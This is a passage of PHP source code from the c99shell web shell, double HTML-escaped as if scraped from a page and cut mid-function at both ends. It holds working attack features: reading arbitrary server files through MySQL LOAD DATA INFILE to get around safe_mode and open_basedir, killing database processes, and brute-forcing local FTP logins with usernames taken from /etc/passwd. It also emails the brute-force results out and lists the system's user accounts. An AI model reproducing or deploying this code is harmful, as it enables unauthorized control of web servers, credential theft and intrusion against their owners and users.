?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_port&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_port); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;sql_newdb&amp;quot; size=&amp;quot;20&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Create&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;b&amp;gt;View File:&amp;lt;/b&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;sql&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_act&amp;quot; value=&amp;quot;getfile&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_login&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_login); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_passwd&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_passwd); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_server&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_server); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_port&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_port); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;sql_getfile&amp;quot; size=&amp;quot;30&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_getfile); ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Get&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;?php }&lt;br /&gt;
   if (!empty($sql_act))&lt;br /&gt;
   {&lt;br /&gt;
    echo &amp;quot;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;quot;;&lt;br /&gt;
    if ($sql_act == &amp;quot;newdb&amp;quot;)&lt;br /&gt;
    {&lt;br /&gt;
     echo &amp;quot;&amp;lt;b&amp;gt;&amp;quot;;&lt;br /&gt;
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo &amp;quot;DB \&amp;quot;&amp;quot;.htmlspecialchars($sql_newdb).&amp;quot;\&amp;quot; has been created with success!&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
     else {echo &amp;quot;Can't create DB \&amp;quot;&amp;quot;.htmlspecialchars($sql_newdb).&amp;quot;\&amp;quot;.&amp;lt;br&amp;gt;Reason:&amp;lt;/b&amp;gt; &amp;quot;.mysql_smarterror();}&lt;br /&gt;
    }&lt;br /&gt;
    if ($sql_act == &amp;quot;serverstatus&amp;quot;)&lt;br /&gt;
    {&lt;br /&gt;
     $result = mysql_query(&amp;quot;SHOW STATUS&amp;quot;, $sql_sock); &lt;br /&gt;
     echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Server-status variables:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Name&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Value&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[0].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[1].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;} &lt;br /&gt;
     echo &amp;quot;&amp;lt;/table&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;&lt;br /&gt;
     mysql_free_result($result);&lt;br /&gt;
    }&lt;br /&gt;
    if ($sql_act == &amp;quot;servervars&amp;quot;)&lt;br /&gt;
    {&lt;br /&gt;
     $result = mysql_query(&amp;quot;SHOW VARIABLES&amp;quot;, $sql_sock); &lt;br /&gt;
     echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Server variables:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Name&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Value&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[0].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[1].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;} &lt;br /&gt;
     echo &amp;quot;&amp;lt;/table&amp;gt;&amp;quot;;&lt;br /&gt;
     mysql_free_result($result);&lt;br /&gt;
    }&lt;br /&gt;
    if ($sql_act == &amp;quot;processes&amp;quot;)&lt;br /&gt;
    {&lt;br /&gt;
     if (!empty($kill)) {$query = &amp;quot;KILL &amp;quot;.$kill.&amp;quot;;&amp;quot;; $result = mysql_query($query, $sql_sock); echo &amp;quot;&amp;lt;b&amp;gt;Killing process #&amp;quot;.$kill.&amp;quot;... ok. he is dead, amen.&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
     $result = mysql_query(&amp;quot;SHOW PROCESSLIST&amp;quot;, $sql_sock); &lt;br /&gt;
     echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Processes:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;ID&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;USER&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;HOST&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;DB&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;COMMAND&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;TIME&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;STATE&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;INFO&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Action&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[0].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[1].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[2].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[3].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[4].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[5].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[6].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;quot;.$row[7].&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_act=processes&amp;amp;kill=&amp;quot;.$row[0].&amp;quot;\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;Kill&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;}&lt;br /&gt;
     echo &amp;quot;&amp;lt;/table&amp;gt;&amp;quot;;&lt;br /&gt;
     mysql_free_result($result);&lt;br /&gt;
    }&lt;br /&gt;
    if ($sql_act == &amp;quot;getfile&amp;quot;)&lt;br /&gt;
    {&lt;br /&gt;
     $tmpdb = $sql_login.&amp;quot;_tmpdb&amp;quot;;&lt;br /&gt;
     $select = mysql_select_db($tmpdb);&lt;br /&gt;
     if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}&lt;br /&gt;
     if ($select)&lt;br /&gt;
     {&lt;br /&gt;
      $created = false;&lt;br /&gt;
      mysql_query(&amp;quot;CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );&amp;quot;);&lt;br /&gt;
      mysql_query(&amp;quot;LOAD DATA INFILE \&amp;quot;&amp;quot;.addslashes($sql_getfile).&amp;quot;\&amp;quot; INTO TABLE tmp_file&amp;quot;);&lt;br /&gt;
      $result = mysql_query(&amp;quot;SELECT * FROM tmp_file;&amp;quot;);&lt;br /&gt;
      if (!$result) {echo &amp;quot;&amp;lt;b&amp;gt;Error in reading file (permision denied)!&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
      else&lt;br /&gt;
      {&lt;br /&gt;
       for ($i=0;$i&amp;lt;mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}&lt;br /&gt;
       $f = &amp;quot;&amp;quot;; &lt;br /&gt;
       while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join (&amp;quot;\r\n&amp;quot;,$row);}&lt;br /&gt;
       if (empty($f)) {echo &amp;quot;&amp;lt;b&amp;gt;File \&amp;quot;&amp;quot;.$sql_getfile.&amp;quot;\&amp;quot; does not exists or empty!&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
       else {echo &amp;quot;&amp;lt;b&amp;gt;File \&amp;quot;&amp;quot;.$sql_getfile.&amp;quot;\&amp;quot;:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;.nl2br(htmlspecialchars($f)).&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
       mysql_free_result($result);&lt;br /&gt;
       mysql_query(&amp;quot;DROP TABLE tmp_file;&amp;quot;);&lt;br /&gt;
      }&lt;br /&gt;
     }&lt;br /&gt;
     mysql_drop_db($tmpdb); //comment it if you want to leave database&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 echo &amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;quot;;&lt;br /&gt;
 if ($sql_sock)&lt;br /&gt;
 {&lt;br /&gt;
  $affected = @mysql_affected_rows($sql_sock);&lt;br /&gt;
  if ((!is_numeric($affected)) or ($affected &amp;lt; 0)){$affected = 0;}&lt;br /&gt;
  echo &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Affected rows: &amp;quot;.$affected.&amp;quot;&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 echo &amp;quot;&amp;lt;/table&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;mkdir&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 if ($mkdir != $d)&lt;br /&gt;
 {&lt;br /&gt;
  if (file_exists($mkdir)) {echo &amp;quot;&amp;lt;b&amp;gt;Make Dir \&amp;quot;&amp;quot;.htmlspecialchars($mkdir).&amp;quot;\&amp;quot;&amp;lt;/b&amp;gt;: object alredy exists&amp;quot;;}&lt;br /&gt;
  elseif (!mkdir($mkdir)) {echo &amp;quot;&amp;lt;b&amp;gt;Make Dir \&amp;quot;&amp;quot;.htmlspecialchars($mkdir).&amp;quot;\&amp;quot;&amp;lt;/b&amp;gt;: access denied&amp;quot;;}&lt;br /&gt;
  echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 $act = $dspact = &amp;quot;ls&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;ftpquickbrute&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 echo &amp;quot;&amp;lt;b&amp;gt;Ftp Quick brute:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
 if (!win) {echo &amp;quot;This functions not work in Windows!&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)&lt;br /&gt;
  {&lt;br /&gt;
   if ($fqb_onlywithsh) {$true = (!in_array($sh,array(&amp;quot;/bin/false&amp;quot;,&amp;quot;/sbin/nologin&amp;quot;)));}&lt;br /&gt;
   else {$true = true;}&lt;br /&gt;
   if ($true)&lt;br /&gt;
   {&lt;br /&gt;
    $sock = @ftp_connect($host,$port,$timeout);&lt;br /&gt;
    if (@ftp_login($sock,$login,$pass))&lt;br /&gt;
    {&lt;br /&gt;
     echo &amp;quot;&amp;lt;a href=\&amp;quot;ftp://&amp;quot;.$login.&amp;quot;:&amp;quot;.$pass.&amp;quot;@&amp;quot;.$host.&amp;quot;\&amp;quot; target=\&amp;quot;_blank\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Connected to &amp;quot;.$host.&amp;quot; with login \&amp;quot;&amp;quot;.$login.&amp;quot;\&amp;quot; and password \&amp;quot;&amp;quot;.$pass.&amp;quot;\&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;.&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     ob_flush();&lt;br /&gt;
     return true;&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  if (!empty($submit))&lt;br /&gt;
  {&lt;br /&gt;
   if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}&lt;br /&gt;
   $fp = fopen(&amp;quot;/etc/passwd&amp;quot;,&amp;quot;r&amp;quot;);&lt;br /&gt;
   if (!$fp) {echo &amp;quot;Can't get /etc/passwd for password-list.&amp;quot;;}&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    if ($fqb_logging)&lt;br /&gt;
    {&lt;br /&gt;
     if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,&amp;quot;w&amp;quot;);}&lt;br /&gt;
     else {$fqb_logfp = false;}&lt;br /&gt;
     $fqb_log = &amp;quot;FTP Quick Brute (called c99shell v. &amp;quot;.$shver.&amp;quot;) started at &amp;quot;.date(&amp;quot;d.m.Y H:i:s&amp;quot;).&amp;quot;\r\n\r\n&amp;quot;;&lt;br /&gt;
     if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}&lt;br /&gt;
    }&lt;br /&gt;
    ob_flush();&lt;br /&gt;
    $i = $success = 0;&lt;br /&gt;
    $ftpquick_st = getmicrotime();&lt;br /&gt;
    while(!feof($fp))&lt;br /&gt;
    { &lt;br /&gt;
     $str = explode(&amp;quot;:&amp;quot;,fgets($fp,2048));&lt;br /&gt;
     if (c99ftpbrutecheck(&amp;quot;localhost&amp;quot;,21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))&lt;br /&gt;
     {&lt;br /&gt;
      echo &amp;quot;&amp;lt;b&amp;gt;Connected to &amp;quot;.$SERVER_NAME.&amp;quot; with login \&amp;quot;&amp;quot;.$str[0].&amp;quot;\&amp;quot; and password \&amp;quot;&amp;quot;.$str[0].&amp;quot;\&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
      $fqb_log .= &amp;quot;Connected to &amp;quot;.$SERVER_NAME.&amp;quot; with login \&amp;quot;&amp;quot;.$str[0].&amp;quot;\&amp;quot; and password \&amp;quot;&amp;quot;.$str[0].&amp;quot;\&amp;quot;, at &amp;quot;.date(&amp;quot;d.m.Y H:i:s&amp;quot;).&amp;quot;\r\n&amp;quot;;&lt;br /&gt;
      if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}&lt;br /&gt;
      $success++;&lt;br /&gt;
      ob_flush();&lt;br /&gt;
     }&lt;br /&gt;
     if ($i &amp;gt; $fqb_lenght) {break;}&lt;br /&gt;
     $i++;&lt;br /&gt;
    } &lt;br /&gt;
    if ($success == 0) {echo &amp;quot;No success. connections!&amp;quot;; $fqb_log .= &amp;quot;No success. connections!\r\n&amp;quot;;}&lt;br /&gt;
    $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);&lt;br /&gt;
    echo &amp;quot;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;lt;b&amp;gt;Done!&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Total time (secs.): &amp;quot;.$ftpquick_t.&amp;quot;&amp;lt;br&amp;gt;Total connections: &amp;quot;.$i.&amp;quot;&amp;lt;br&amp;gt;Success.: &amp;lt;font color=\&amp;quot;green\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$success.&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br&amp;gt;Unsuccess.:&amp;quot;.($i-$success).&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Connects per second: &amp;quot;.round($i/$ftpquick_t,2).&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
    $fqb_log .= &amp;quot;\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): &amp;quot;.$ftpquick_t.&amp;quot;\r\nTotal connections: &amp;quot;.$i.&amp;quot;\r\nSuccess.: &amp;quot;.$success.&amp;quot;\r\nUnsuccess.:&amp;quot;.($i-$success).&amp;quot;\r\nConnects per second: &amp;quot;.round($i/$ftpquick_t,2).&amp;quot;\r\n&amp;quot;;&lt;br /&gt;
    if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}&lt;br /&gt;
    if ($fqb_logemail) {@mail($fqb_logemail,&amp;quot;c99shell v. &amp;quot;.$shver.&amp;quot; report&amp;quot;,$fqb_log);}&lt;br /&gt;
    fclose($fqb_logfp);&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
   $logfile = $tmpdir_logs.&amp;quot;c99sh_ftpquickbrute_&amp;quot;.date(&amp;quot;d.m.Y_H_i_s&amp;quot;).&amp;quot;.log&amp;quot;;&lt;br /&gt;
   $logfile = str_replace(&amp;quot;//&amp;quot;,DIRECTORY_SEPARATOR,$logfile);&lt;br /&gt;
   echo &amp;quot;&amp;lt;form method=\&amp;quot;POST\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;Read first: &amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;fqb_lenght\&amp;quot; value=\&amp;quot;&amp;quot;.$nixpwdperpage.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Users only with shell?&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;fqb_onlywithsh\&amp;quot; value=\&amp;quot;1\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Logging?&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;fqb_logging\&amp;quot; value=\&amp;quot;1\&amp;quot; checked&amp;gt;&amp;lt;br&amp;gt;Logging to file?&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;fqb_logfile\&amp;quot; value=\&amp;quot;&amp;quot;.$logfile.&amp;quot;\&amp;quot; size=\&amp;quot;&amp;quot;.(strlen($logfile)+2*(strlen($logfile)/10)).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;Logging to e-mail?&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;fqb_logemail\&amp;quot; value=\&amp;quot;&amp;quot;.$log_email.&amp;quot;\&amp;quot; size=\&amp;quot;&amp;quot;.(strlen($logemail)+2*(strlen($logemail)/10)).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=\&amp;quot;submit\&amp;quot; name=\&amp;quot;submit\&amp;quot; value=\&amp;quot;Brute\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;d&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 if (!is_dir($d)) {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Permision denied!&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  echo &amp;quot;&amp;lt;b&amp;gt;Directory information:&amp;lt;/b&amp;gt;&amp;lt;table border=0 cellspacing=1 cellpadding=2&amp;gt;&amp;quot;;&lt;br /&gt;
  if (!$win)&lt;br /&gt;
  {&lt;br /&gt;
   echo &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Owner/Group&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;;      &lt;br /&gt;
   $tmp = posix_getpwuid(fileowner($d));&lt;br /&gt;
   if ($tmp[&amp;quot;name&amp;quot;] == &amp;quot;&amp;quot;) {echo fileowner($d).&amp;quot;/&amp;quot;;}&lt;br /&gt;
   else {echo $tmp[&amp;quot;name&amp;quot;].&amp;quot;/&amp;quot;;}&lt;br /&gt;
   $tmp = posix_getgrgid(filegroup($d));&lt;br /&gt;
   if ($tmp[&amp;quot;name&amp;quot;] == &amp;quot;&amp;quot;) {echo filegroup($d);}&lt;br /&gt;
   else {echo $tmp[&amp;quot;name&amp;quot;];}&lt;br /&gt;
  }&lt;br /&gt;
  echo &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Perms&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=chmod&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.view_perms_color($d).&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Create time&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;.date(&amp;quot;d/m/Y H:i:s&amp;quot;,filectime($d)).&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Access time&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;.date(&amp;quot;d/m/Y H:i:s&amp;quot;,fileatime($d)).&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;MODIFY time&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;.date(&amp;quot;d/m/Y H:i:s&amp;quot;,filemtime($d)).&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;phpinfo&amp;quot;) {@ob_clean(); phpinfo(); exit;}&lt;br /&gt;
if ($act == &amp;quot;security&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Server security information:&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;b&amp;gt;Software:&amp;lt;/b&amp;gt; &amp;quot;.PHP_OS.&amp;quot;, &amp;quot;.$SERVER_SOFTWARE.&amp;quot;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Safe-Mode: &amp;quot;.$hsafemode.&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Open base dir: &amp;quot;.$hopenbasedir.&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
 if (!$win)&lt;br /&gt;
 {&lt;br /&gt;
  if ($nixpasswd)&lt;br /&gt;
  {&lt;br /&gt;
   if ($nixpasswd == 1) {$nixpasswd = 0;}&lt;br /&gt;
   echo &amp;quot;&amp;lt;b&amp;gt;*nix /etc/passwd:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}&lt;br /&gt;
   if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}&lt;br /&gt;
   echo &amp;quot;&amp;lt;form method=\&amp;quot;GET\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;act\&amp;quot; value=\&amp;quot;security\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;nixpasswd\&amp;quot; value=\&amp;quot;1\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;From:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text=\&amp;quot; name=\&amp;quot;nixpwd_s\&amp;quot; value=\&amp;quot;&amp;quot;.$nixpwd_s.&amp;quot;\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;b&amp;gt;To:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;nixpwd_e\&amp;quot; value=\&amp;quot;&amp;quot;.$nixpwd_e.&amp;quot;\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;submit\&amp;quot; value=\&amp;quot;View\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   $i = $nixpwd_s;&lt;br /&gt;
   while ($i &amp;lt; $nixpwd_e)&lt;br /&gt;
   {&lt;br /&gt;
    $uid = posix_getpwuid($i);&lt;br /&gt;
    if ($uid)&lt;br /&gt;
    {&lt;br /&gt;
